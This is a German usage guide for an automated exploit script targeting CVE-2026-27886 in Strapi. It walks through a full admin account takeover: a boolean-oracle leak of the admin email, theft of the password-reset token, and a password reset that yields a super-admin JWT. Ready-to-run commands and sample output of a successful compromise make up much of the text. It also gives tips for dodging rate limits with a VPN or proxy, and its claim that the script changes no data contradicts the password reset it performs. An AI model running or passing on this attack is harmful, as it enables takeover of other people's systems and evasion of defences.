CVE-2026-27886 Automatisierter Exploit - Anleitung

Was dieses Skript macht

Automatisiert die vollständige Kontoübernahme-Kette in 4 HTTP-Anforderungsgruppen:

1. Schwachstellenüberprüfung - Bestätigt, dass das Ziel verwundbar ist
2. E-Mail-Enumeration - Extrahiert Admin-E-Mail über boolesches Orakel (~500 Anfragen)
3. Passwort-Reset-Trigger - Startet Strapis Passwort-Wiederherstellungsablauf
4. Token-Exfiltration - Stiehlt das 40-stellige Reset-Token (~320 Anfragen)
5. Kontoübernahme - Verwendet gestohlenes Token, um Super-Admin-JWT zu erhalten

Grundlegende Verwendung

Nur-Überprüfungs-Modus (Sicher)

Überprüfen, ob das Ziel verwundbar ist, ohne Ausnutzung:

./cve-2026-27886-exploit.py https://target/api/articles --verify-only

Vollständiger Exploit (Schnellster)

Alles automatisieren, wenn Sie die Admin-E-Mail nicht kennen:

./cve-2026-27886-exploit.py https://target/api/articles

Ausgabe:

[+] Ziel: https://target/api/articles
[+] Basis-URL: https://target
[*] Überprüfe Schwachstelle...
    [+] Verwundbar: baseline=12, where_test=0
[*] Sammle Admin-E-Mail...
    [email protected]
[*] Löse Passwort-Reset aus für [email protected]...
    [+] Passwort-Reset ausgelöst (HTTP 204)
[*] Extrahiere 40-stelliges Reset-Token...
    [100%] d1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a
[*] Setze Passwort mit gestohlenem Token zurück...
    [+] Passwort-Reset erfolgreich!
    [+] JWT: eyJhbGciOiJIUzI1NiIs...
    [+] Benutzer: [email protected] (ID: 1)

[+] ERFOLG! Admin-Konto kompromittiert.
[+] JWT-Token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

E-Mail-Enumeration überspringen (Schneller)

Wenn Sie die Admin-E-Mail bereits kennen (spart ~500 Anfragen):

./cve-2026-27886-exploit.py https://target/api/articles \
  --email [email protected]

Benutzerdefiniertes Passwort

Ein benutzerdefiniertes Passwort anstelle des Standard-Passworts festlegen:

./cve-2026-27886-exploit.py https://target/api/articles \
  --email [email protected] \
  --password "MyPassword123!"

Verzögerungen hinzufügen (Ratenbegrenzungen vermeiden)

Wenn das Ziel Ratenbegrenzung hat:

./cve-2026-27886-exploit.py https://target/api/articles \
  --delay 0.1

Dies fügt 100ms zwischen jeder Anfrage hinzu (~2-3 Minuten für vollständige Ausnutzung).

Explizite Basis-URL

Wenn /admin/*-Endpunkte auf einem anderen Host liegen:

./cve-2026-27886-exploit.py https://api.target/articles \
  --base-url https://admin.target

Häufige Probleme

"Nicht-JSON-Antwort"

• Falscher Endpunkt (keine Strapi Content API-Sammlung)
• Versuchen Sie: https://target/api/products, https://target/api/articles, usw.

"E-Mail-Enumeration fehlgeschlagen"

• Sammlung ist leer (keine updated_by_id-Fremdschlüssel)
• Admin-Rolle stimmt mit niemandem in der Datenbank überein
• Versuchen Sie einen anderen Endpunkt, falls mehrere existieren

"Reset-Token-Extraktion fehlgeschlagen"

• Passwort-Reset wurde nicht ausgelöst
• Andere Admin-E-Mail als vermutet
• Token abgelaufen (erneut versuchen, es hält standardmäßig ~24 Stunden)

Ratenbegrenzung erhalten

• Fügen Sie --delay 0.05 oder höher hinzu
• Oder verwenden Sie VPN/Proxy, um IP-Adressen zu wechseln

Sicherheitshinweise

Dieses Skript:

• ✅ Stellt nur GET/POST-Anfragen (keine Datenänderung)
• ✅ Ziel nur die verwundbare Strapi-Abfrageparameter-Umgehung
• ✅ Verwendet Strapis legitime Passwort-Reset-Endpunkte
• ✅ Hinterlässt keine gespeicherten Artefakte auf dem Ziel
• ⚠️ IST LAUT - Macht 800+ Anfragen in Folge (offensichtlich in Protokollen)